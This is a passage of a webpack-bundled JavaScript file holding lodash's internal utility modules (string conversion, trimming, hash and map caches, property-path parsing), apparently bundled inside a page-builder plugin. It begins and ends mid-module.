"./includes/builder/node_modules/lodash/isArray.js"), isSymbol = __webpack_require__(/*! ./isSymbol */ "./includes/builder/node_modules/lodash/isSymbol.js"); /** Used as references for various `Number` constants. */ var INFINITY = 1 / 0; /** Used to convert symbols to primitives and strings. */ var symbolProto = Symbol ? Symbol.prototype : undefined, symbolToString = symbolProto ? symbolProto.toString : undefined; /** * The base implementation of `_.toString` which doesn't convert nullish * values to empty strings. * * @private * @param {*} value The value to process. * @returns {string} Returns the string. */ function baseToString(value) { // Exit early for strings to avoid a performance hit in some environments. if (typeof value == 'string') { return value; } if (isArray(value)) { // Recursively convert values (susceptible to call stack limits). return arrayMap(value, baseToString) + ''; } if (isSymbol(value)) { return symbolToString ? symbolToString.call(value) : ''; } var result = (value + ''); return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result; } module.exports = baseToString; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseTrim.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseTrim.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var trimmedEndIndex = __webpack_require__(/*! ./_trimmedEndIndex */ "./includes/builder/node_modules/lodash/_trimmedEndIndex.js"); /** Used to match leading whitespace. */ var reTrimStart = /^\s+/; /** * The base implementation of `_.trim`. * * @private * @param {string} string The string to trim. * @returns {string} Returns the trimmed string. */ function baseTrim(string) { return string ? string.slice(0, trimmedEndIndex(string) + 1).replace(reTrimStart, '') : string; } module.exports = baseTrim; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseUnary.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseUnary.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * The base implementation of `_.unary` without support for storing metadata. * * @private * @param {Function} func The function to cap arguments for. * @returns {Function} Returns the new capped function. */ function baseUnary(func) { return function(value) { return func(value); }; } module.exports = baseUnary; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseValues.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseValues.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var arrayMap = __webpack_require__(/*! ./_arrayMap */ "./includes/builder/node_modules/lodash/_arrayMap.js"); /** * The base implementation of `_.values` and `_.valuesIn` which creates an * array of `object` property values corresponding to the property names * of `props`. * * @private * @param {Object} object The object to query. * @param {Array} props The property names to get values for. * @returns {Object} Returns the array of property values. */ function baseValues(object, props) { return arrayMap(props, function(key) { return object[key]; }); } module.exports = baseValues; /***/ }), /***/ "./includes/builder/node_modules/lodash/_castPath.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_castPath.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isArray = __webpack_require__(/*! ./isArray */ "./includes/builder/node_modules/lodash/isArray.js"), isKey = __webpack_require__(/*! ./_isKey */ "./includes/builder/node_modules/lodash/_isKey.js"), stringToPath = __webpack_require__(/*! ./_stringToPath */ "./includes/builder/node_modules/lodash/_stringToPath.js"), toString = __webpack_require__(/*! ./toString */ "./includes/builder/node_modules/lodash/toString.js"); /** * Casts `value` to a path array if it's not one. * * @private * @param {*} value The value to inspect. * @param {Object} [object] The object to query keys on. * @returns {Array} Returns the cast property path array. */ function castPath(value, object) { if (isArray(value)) { return value; } return isKey(value, object) ? [value] : stringToPath(toString(value)); } module.exports = castPath; /***/ }), /***/ "./includes/builder/node_modules/lodash/_coreJsData.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_coreJsData.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var root = __webpack_require__(/*! ./_root */ "./includes/builder/node_modules/lodash/_root.js"); /** Used to detect overreaching core-js shims. */ var coreJsData = root['__core-js_shared__']; module.exports = coreJsData; /***/ }), /***/ "./includes/builder/node_modules/lodash/_freeGlobal.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_freeGlobal.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */(function(global) {/** Detect free variable `global` from Node.js. */ var freeGlobal = typeof global == 'object' && global && global.Object === Object && global; module.exports = freeGlobal; /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../../../node_modules/webpack/buildin/global.js */ "./node_modules/webpack/buildin/global.js"))) /***/ }), /***/ "./includes/builder/node_modules/lodash/_getMapData.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_getMapData.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isKeyable = __webpack_require__(/*! ./_isKeyable */ "./includes/builder/node_modules/lodash/_isKeyable.js"); /** * Gets the data for `map`. * * @private * @param {Object} map The map to query. * @param {string} key The reference key. * @returns {*} Returns the map data. */ function getMapData(map, key) { var data = map.__data__; return isKeyable(key) ? data[typeof key == 'string' ? 'string' : 'hash'] : data.map; } module.exports = getMapData; /***/ }), /***/ "./includes/builder/node_modules/lodash/_getNative.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_getNative.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseIsNative = __webpack_require__(/*! ./_baseIsNative */ "./includes/builder/node_modules/lodash/_baseIsNative.js"), getValue = __webpack_require__(/*! ./_getValue */ "./includes/builder/node_modules/lodash/_getValue.js"); /** * Gets the native function at `key` of `object`. * * @private * @param {Object} object The object to query. * @param {string} key The key of the method to get. * @returns {*} Returns the function if it's native, else `undefined`. */ function getNative(object, key) { var value = getValue(object, key); return baseIsNative(value) ? value : undefined; } module.exports = getNative; /***/ }), /***/ "./includes/builder/node_modules/lodash/_getRawTag.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_getRawTag.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var Symbol = __webpack_require__(/*! ./_Symbol */ "./includes/builder/node_modules/lodash/_Symbol.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * Used to resolve the * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring) * of values. */ var nativeObjectToString = objectProto.toString; /** Built-in value references. */ var symToStringTag = Symbol ? Symbol.toStringTag : undefined; /** * A specialized version of `baseGetTag` which ignores `Symbol.toStringTag` values. * * @private * @param {*} value The value to query. * @returns {string} Returns the raw `toStringTag`. */ function getRawTag(value) { var isOwn = hasOwnProperty.call(value, symToStringTag), tag = value[symToStringTag]; try { value[symToStringTag] = undefined; var unmasked = true; } catch (e) {} var result = nativeObjectToString.call(value); if (unmasked) { if (isOwn) { value[symToStringTag] = tag; } else { delete value[symToStringTag]; } } return result; } module.exports = getRawTag; /***/ }), /***/ "./includes/builder/node_modules/lodash/_getValue.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_getValue.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Gets the value at `key` of `object`. * * @private * @param {Object} [object] The object to query. * @param {string} key The key of the property to get. * @returns {*} Returns the property value. */ function getValue(object, key) { return object == null ? undefined : object[key]; } module.exports = getValue; /***/ }), /***/ "./includes/builder/node_modules/lodash/_hashClear.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_hashClear.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var nativeCreate = __webpack_require__(/*! ./_nativeCreate */ "./includes/builder/node_modules/lodash/_nativeCreate.js"); /** * Removes all key-value entries from the hash. * * @private * @name clear * @memberOf Hash */ function hashClear() { this.__data__ = nativeCreate ? nativeCreate(null) : {}; this.size = 0; } module.exports = hashClear; /***/ }), /***/ "./includes/builder/node_modules/lodash/_hashDelete.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_hashDelete.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Removes `key` and its value from the hash. * * @private * @name delete * @memberOf Hash * @param {Object} hash The hash to modify. * @param {string} key The key of the value to remove. * @returns {boolean} Returns `true` if the entry was removed, else `false`. */ function hashDelete(key) { var result = this.has(key) && delete this.__data__[key]; this.size -= result ? 1 : 0; return result; } module.exports = hashDelete; /***/ }), /***/ "./includes/builder/node_modules/lodash/_hashGet.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_hashGet.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var nativeCreate = __webpack_require__(/*! ./_nativeCreate */ "./includes/builder/node_modules/lodash/_nativeCreate.js"); /** Used to stand-in for `undefined` hash values. */ var HASH_UNDEFINED = '__lodash_hash_undefined__'; /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * Gets the hash value for `key`. * * @private * @name get * @memberOf Hash * @param {string} key The key of the value to get. * @returns {*} Returns the entry value. */ function hashGet(key) { var data = this.__data__; if (nativeCreate) { var result = data[key]; return result === HASH_UNDEFINED ? undefined : result; } return hasOwnProperty.call(data, key) ? data[key] : undefined; } module.exports = hashGet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_hashHas.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_hashHas.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var nativeCreate = __webpack_require__(/*! ./_nativeCreate */ "./includes/builder/node_modules/lodash/_nativeCreate.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * Checks if a hash value for `key` exists. * * @private * @name has * @memberOf Hash * @param {string} key The key of the entry to check. * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`. */ function hashHas(key) { var data = this.__data__; return nativeCreate ? (data[key] !== undefined) : hasOwnProperty.call(data, key); } module.exports = hashHas; /***/ }), /***/ "./includes/builder/node_modules/lodash/_hashSet.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_hashSet.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var nativeCreate = __webpack_require__(/*! ./_nativeCreate */ "./includes/builder/node_modules/lodash/_nativeCreate.js"); /** Used to stand-in for `undefined` hash values. */ var HASH_UNDEFINED = '__lodash_hash_undefined__'; /** * Sets the hash `key` to `value`. * * @private * @name set * @memberOf Hash * @param {string} key The key of the value to set. * @param {*} value The value to set. * @returns {Object} Returns the hash instance. */ function hashSet(key, value) { var data = this.__data__; this.size += this.has(key) ? 0 : 1; data[key] = (nativeCreate && value === undefined) ? HASH_UNDEFINED : value; return this; } module.exports = hashSet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_isIndex.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_isIndex.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used as references for various `Number` constants. */ var MAX_SAFE_INTEGER = 9007199254740991; /** Used to detect unsigned integer values. */ var reIsUint = /^(?:0|[1-9]\d*)$/; /** * Checks if `value` is a valid array-like index. * * @private * @param {*} value The value to check. * @param {number} [length=MAX_SAFE_INTEGER] The upper bounds of a valid index. * @returns {boolean} Returns `true` if `value` is a valid index, else `false`. */ function isIndex(value, length) { var type = typeof value; length = length == null ? MAX_SAFE_INTEGER : length; return !!length && (type == 'number' || (type != 'symbol' && reIsUint.test(value))) && (value > -1 && value % 1 == 0 && value < length); } module.exports = isIndex; /***/ }), /***/ "./includes/builder/node_modules/lodash/_isKey.js": /*!********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_isKey.js ***! \********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isArray = __webpack_require__(/*! ./isArray */ "./includes/builder/node_modules/lodash/isArray.js"), isSymbol = __webpack_require__(/*! ./isSymbol */ "./includes/builder/node_modules/lodash/isSymbol.js"); /** Used to match property names within property paths. */ var reIsDeepProp = /\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/, reIsPlainProp = /^\w*$/; /** * Checks if `value` is a property name and not a property path. * * @private * @param {*} value The value to check. * @param {Object} [object] The object to query keys on. * @returns {boolean} Returns `true` if `value` is a property name, else `false`. */ function isKey(value, object) { if (isArray(value)) { return false; } var type = typeof value; if (type == 'number' || type == 'symbol' || type == 'boolean' || value == null || isSymbol(value)) { return true; } return reIsPlainProp.test(value) || !reIsDeepProp.test(value) || (object != null && value in Object(object)); } module.exports = isKey; /***/ }), /***/ "./includes/builder/node_modules/lodash/_isKeyable.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_isKeyable.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Checks if `value` is suitable for use as unique object key. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is suitable, else `false`. */ function isKeyable(value) { var type = typeof value; return (type == 'string' || type == 'number' || type == 'symbol' || type == 'boolean') ? (value !== '__proto__') : (value === null); } module.exports = isKeyable; /***/ }), /***/ "./includes/builder/node_modules/lodash/_isMasked.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_isMasked.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var coreJsData = __webpack_require__(/*! ./_coreJsData */ "./includes/builder/node_modules/lodash/_coreJsData.js"); /** Used to detect methods masquerading as native. */ var maskSrcKey = (function() { var uid = /[^.]+$/.exec(coreJsData && coreJsData.keys && coreJsData.keys.IE_PROTO || ''); return uid ? ('Symbol(src)_1.' + uid) : ''; }()); /** * Checks if `func` has its source masked. * * @private * @param {Function} func The function to check. * @returns {boolean} Returns `true` if `func` is masked, else `false`. */ function isMasked(func) { return !!maskSrcKey && (maskSrcKey in func); } module.exports = isMasked; /***/ }), /***/ "./includes/builder/node_modules/lodash/_isPrototype.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_isPrototype.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used for built-in method references. */ var objectProto = Object.prototype; /** * Checks if `value` is likely a prototype object. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a prototype, else `false`. */ function isPrototype(value) { var Ctor = value && value.constructor, proto = (typeof Ctor == 'function' && Ctor.prototype) || objectProto; return value === proto; } module.exports = isPrototype; /***/ }), /***/ "./includes/builder/node_modules/lodash/_listCacheClear.js": /*!*****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_listCacheClear.js ***! \*****************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Removes all key-value entries from the list cache. * * @private * @name clear * @memberOf ListCache */ function listCacheClear() { this.__data__ = []; this.size = 0; } module.exports = listCacheClear; /***/ }), /***/ "./includes/builder/node_modules/lodash/_listCacheDelete.js": /*!******************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_listCacheDelete.js ***! \******************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var assocIndexOf = __webpack_require__(/*! ./_assocIndexOf */ "./includes/builder/node_modules/lodash/_assocIndexOf.js"); /** Used for built-in method references. */ var arrayProto = Array.prototype; /** Built-in value references. */ var splice = arrayProto.splice; /** * Removes `key` and its value from the list cache. * * @private * @name delete * @memberOf ListCache * @param {string} key The key of the value to remove. * @returns {boolean} Returns `true` if the entry was removed, else `false`. */ function listCacheDelete(key) { var data = this.__data__, index = assocIndexOf(data, key); if (index < 0) { return false; } var lastIndex = data.length - 1; if (index == lastIndex) { data.pop(); } else { splice.call(data, index, 1); } --this.size; return true; } module.exports = listCacheDelete; /***/ }), /***/ "./includes/builder/node_modules/lodash/_listCacheGet.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_listCacheGet.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var assocIndexOf = __webpack_require__(/*! ./_assocIndexOf */ "./includes/builder/node_modules/lodash/_assocIndexOf.js"); /** * Gets the list cache value for `key`. * * @private * @name get * @memberOf ListCache * @param {string} key The key of the value to get. * @returns {*} Returns the entry value. */ function listCacheGet(key) { var data = this.__data__, index = assocIndexOf(data, key); return index < 0 ? undefined : data[index][1]; } module.exports = listCacheGet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_listCacheHas.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_listCacheHas.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var assocIndexOf = __webpack_require__(/*! ./_assocIndexOf */ "./includes/builder/node_modules/lodash/_assocIndexOf.js"); /** * Checks if a list cache value for `key` exists. * * @private * @name has * @memberOf ListCache * @param {string} key The key of the entry to check. * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`. */ function listCacheHas(key) { return assocIndexOf(this.__data__, key) > -1; } module.exports = listCacheHas; /***/ }), /***/ "./includes/builder/node_modules/lodash/_listCacheSet.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_listCacheSet.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var assocIndexOf = __webpack_require__(/*! ./_assocIndexOf */ "./includes/builder/node_modules/lodash/_assocIndexOf.js"); /** * Sets the list cache `key` to `value`. * * @private * @name set * @memberOf ListCache * @param {string} key The key of the value to set. * @param {*} value The value to set. * @returns {Object} Returns the list cache instance. */ function listCacheSet(key, value) { var data = this.__data__, index = assocIndexOf(data, key); if (index < 0) { ++this.size; data.push([key, value]); } else { data[index][1] = value; } return this; } module.exports = listCacheSet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_mapCacheClear.js": /*!****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_mapCacheClear.js ***! \****************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var Hash = __webpack_require__(/*! ./_Hash */ "./includes/builder/node_modules/lodash/_Hash.js"), ListCache = __webpack_require__(/*! ./_ListCache */ "./includes/builder/node_modules/lodash/_ListCache.js"), Map = __webpack_require__(/*! ./_Map */ "./includes/builder/node_modules/lodash/_Map.js"); /** * Removes all key-value entries from the map. * * @private * @name clear * @memberOf MapCache */ function mapCacheClear() { this.size = 0; this.__data__ = { 'hash': new Hash, 'map': new (Map || ListCache), 'string': new Hash }; } module.exports = mapCacheClear; /***/ }), /***/ "./includes/builder/node_modules/lodash/_mapCacheDelete.js": /*!*****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_mapCacheDelete.js ***! \*****************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getMapData = __webpack_require__(/*! ./_getMapData */ "./includes/builder/node_modules/lodash/_getMapData.js"); /** * Removes `key` and its value from the map. * * @private * @name delete * @memberOf MapCache * @param {string} key The key of the value to remove. * @returns {boolean} Returns `true` if the entry was removed, else `false`. */ function mapCacheDelete(key) { var result = getMapData(this, key)['delete'](key); this.size -= result ? 1 : 0; return result; } module.exports = mapCacheDelete; /***/ }), /***/ "./includes/builder/node_modules/lodash/_mapCacheGet.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_mapCacheGet.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getMapData = __webpack_require__(/*! ./_getMapData */ "./includes/builder/node_modules/lodash/_getMapData.js"); /** * Gets the map value for `key`. * * @private * @name get * @memberOf MapCache * @param {string} key The key of the value to get. * @returns {*} Returns the entry value. */ function mapCacheGet(key) { return getMapData(this, key).get(key); } module.exports = mapCacheGet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_mapCacheHas.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_mapCacheHas.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getMapData = __webpack_require__(/*! ./_getMapData */ "./includes/builder/node_modules/lodash/_getMapData.js"); /** * Checks if a map value for `key` exists. * * @private * @name has * @memberOf MapCache * @param {string} key The key of the entry to check. * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`. */ function mapCacheHas(key) { return getMapData(this, key).has(key); } module.exports = mapCacheHas; /***/ }), /***/ "./includes/builder/node_modules/lodash/_mapCacheSet.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_mapCacheSet.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getMapData = __webpack_require__(/*! ./_getMapData */ "./includes/builder/node_modules/lodash/_getMapData.js"); /** * Sets the map `key` to `value`. * * @private * @name set * @memberOf MapCache * @param {string} key The key of the value to set. * @param {*} value The value to set. * @returns {Object} Returns the map cache instance. */ function mapCacheSet(key, value) { var data = getMapData(this, key), size = data.size; data.set(key, value); this.size += data.size == size ? 0 : 1; return this; } module.exports = mapCacheSet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_memoizeCapped.js": /*!****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_memoizeCapped.js ***! \****************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var memoize = __webpack_require__(/*! ./memoize */ "./includes/builder/node_modules/lodash/memoize.js"); /** Used as the maximum memoize cache size. */ var MAX_MEMOIZE_SIZE = 500; /** * A specialized version of `_.memoize` which clears the memoized function's * cache when it exceeds `MAX_MEMOIZE_SIZE`. * * @private * @param {Function} func The function to have its output memoized. * @returns {Function} Returns the new memoized function. */ function memoizeCapped(func) { var result = memoize(func, function(key) { if (cache.size === MAX_MEMOIZE_SIZE) { cache.clear(); } return key; }); var cache = result.cache; return result; } module.exports = memoizeCapped; /***/ }), /***/ "./includes/builder/node_modules/lodash/_nativeCreate.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_nativeCreate.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getNative = __webpack_require__(/*! ./_getNative */ "./includes/builder/node_modules/lodash/_getNative.js"); /* Built-in method references that are verified to be native. */ var nativeCreate = getNative(Object, 'create'); module.exports = nativeCreate; /***/ }), /***/ "./includes/builder/node_modules/lodash/_nativeKeys.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_nativeKeys.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var overArg = __webpack_require__(/*! ./_overArg */ "./includes/builder/node_modules/lodash/_overArg.js"); /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeKeys = overArg(Object.keys, Object); module.exports = nativeKeys; /***/ }), /***/ "./includes/builder/node_modules/lodash/_nodeUtil.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_nodeUtil.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */(function(module) {var freeGlobal = __webpack_require__(/*! ./_freeGlobal */ "./includes/builder/node_modules/lodash/_freeGlobal.js"); /** Detect free variable `exports`. */ var freeExports = true && exports && !exports.nodeType && exports; /** Detect free variable `module`. */ var freeModule = freeExports && typeof module == 'object' && module && !module.nodeType && module; /** Detect the popular CommonJS extension `module.exports`. */ var moduleExports = freeModule && freeModule.exports === freeExports; /** Detect free variable `process` from Node.js. */ var freeProcess = moduleExports && freeGlobal.process; /** Used to access faster Node.js helpers. */ var nodeUtil = (function() { try { // Use `util.types` for Node.js 10+. var types = freeModule && freeModule.require && freeModule.require('util').types; if (types) { return types; } // Legacy `process.binding('util')` for Node.js < 10. return freeProcess && freeProcess.binding && freeProcess.binding('util'); } catch (e) {} }()); module.exports = nodeUtil; /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../../../node_modules/webpack/buildin/module.js */ "./node_modules/webpack/buildin/module.js")(module))) /***/ }), /***/ "./includes/builder/node_modules/lodash/_objectToString.js": /*!*****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_objectToString.js ***! \*****************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used for built-in method references. */ var objectProto = Object.prototype; /** * Used to resolve the * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring) * of values. */ var nativeObjectToString = objectProto.toString; /** * Converts `value` to a string using `Object.prototype.toString`. * * @private * @param {*} value The value to convert. * @returns {string} Returns the converted string. */ function objectToString(value) { return nativeObjectToString.call(value); } module.exports = objectToString; /***/ }), /***/ "./includes/builder/node_modules/lodash/_overArg.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_overArg.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Creates a unary function that invokes `func` with its argument transformed. * * @private * @param {Function} func The function to wrap. * @param {Function} transform The argument transform. * @returns {Function} Returns the new function. */ function overArg(func, transform) { return function(arg) { return func(transform(arg)); }; } module.exports = overArg; /***/ }), /***/ "./includes/builder/node_modules/lodash/_root.js": /*!*******************************************************!*\ !*** ./includes/builder/node_modules/lodash/_root.js ***! \*******************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var freeGlobal = __webpack_require__(/*! ./_freeGlobal */ "./includes/builder/node_modules/lodash/_freeGlobal.js"); /** Detect free variable `self`. */ var freeSelf = typeof self == 'object' && self && self.Object === Object && self; /** Used as a reference to the global object. */ var root = freeGlobal || freeSelf || Function('return this')(); module.exports = root; /***/ }), /***/ "./includes/builder/node_modules/lodash/_strictIndexOf.js": /*!****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_strictIndexOf.js ***! \****************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * A specialized version of `_.indexOf` which performs strict equality * comparisons of values, i.e. `===`. * * @private * @param {Array} array The array to inspect. * @param {*} value The value to search for. * @param {number} fromIndex The index to search from. * @returns {number} Returns the index of the matched value, else `-1`. */ function strictIndexOf(array, value, fromIndex) { var index = fromIndex - 1, length = array.length; while (++index < length) { if (array[index] === value) { return index; } } return -1; } module.exports = strictIndexOf; /***/ }), /***/ "./includes/builder/node_modules/lodash/_stringToPath.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_stringToPath.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var memoizeCapped = __webpack_require__(/*! ./_memoizeCapped */ "./includes/builder/node_modules/lodash/_memoizeCapped.js"); /** Used to match property names within property paths. */ var rePropName = /[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g; /** Used to match backslashes in property paths. */ var reEscapeChar = /\\(\\)?/g; /** * Converts `string` to a property path array. * * @private * @param {string} string The string to convert. * @returns {Array} Returns the property path array. */ var stringToPath = memoizeCapped(function(string) { var result = []; if (string.charCodeAt(0) === 46 /* . */) { result.push(''); } string.replace(rePropName, function(match, number, quote, subString) { result.push(quote ? subString.replace(reEscapeChar, '$1') : (number || match)); }); return result; }); module.exports = stringToPath; /***/ }), /***/ "./includes/builder/node_modules/lodash/_toKey.js": /*!********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_toKey.js ***! \********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isSymbol = __webpack_require__(/*! ./isSymbol */ "./includes/builder/node_modules/lodash/isSymbol.js"); /** Used as references for various `Number` constants. */ var INFINITY = 1 / 0; /** * Converts `value` to a string key if it's not a string or symbol. * * @private * @param {*} value The value to inspect. * @returns {string|symbol} Returns the key. */ function toKey(value) { if (typeof value == 'string' || isSymbol(value)) { return value; } var result = (value + ''); return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result; } module.exports = toKey; /***/ }), /***/ "./includes/builder/node_modules/lodash/_toSource.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_toSource.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used for built-in method references. */ var funcProto = Function.prototype; /** Used to resolve the decompiled source of functions. */ var funcToString = funcProto.toString; /** * Converts `func` to its source code. * * @private * @param {Function} func The function to convert. * @returns {string} Returns the source code. */ function toSource(func) { if (func != null) { try { return funcToString.call(func); } catch (e) {} try { return (func + ''); } catch (e) {} } return ''; } module.exports = toSource; /***/ }), /***/ "./includes/builder/node_modules/lodash/_trimmedEndIndex.js": /*!******************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_trimmedEndIndex.js ***! \******************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used to match a single whitespace character. */ var reWhitespace = /\s/; /** * Used by `_.trim` and `_.trimEnd` to get the index of the last non-whitespace * character of `string`. * * @private * @param {string} string The string to inspect. * @returns {number} Returns the index of the last non-whitespace character. */ function trimmedEndIndex(string) { var index = string.length; while (index-- && reWhitespace.test(string.charAt(index))) {} return index; } module.exports = trimmedEndIndex; /***/ }), /***/ "./includes/builder/node_modules/lodash/eq.js": /*!****************************************************!*\ !*** ./includes/builder/node_modules/lodash/eq.js ***! \****************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Performs a * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero) * comparison between two values to determine if they are equivalent. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to compare. * @param {*} other The other value to compare. * @returns {boolean} Returns `true` if the values are equivalent, else `false`. * @example * * var object = { 'a': 1 }; * var other = { 'a': 1 }; * * _.eq(object, object); * // => true * * _.eq(object, other); * // => false * * _.eq('a', 'a'); * // => true * * _.eq('a', Object('a')); * // => false * * _.eq(NaN, NaN); * // => true */ function eq(value, other) { return value === other || (value !== value && other !== other); } module.exports = eq; /***/ }), /***/ "./includes/builder/node_modules/lodash/get.js": /*!*****************************************************!*\ !*** ./includes/builder/node_modules/lodash/get.js 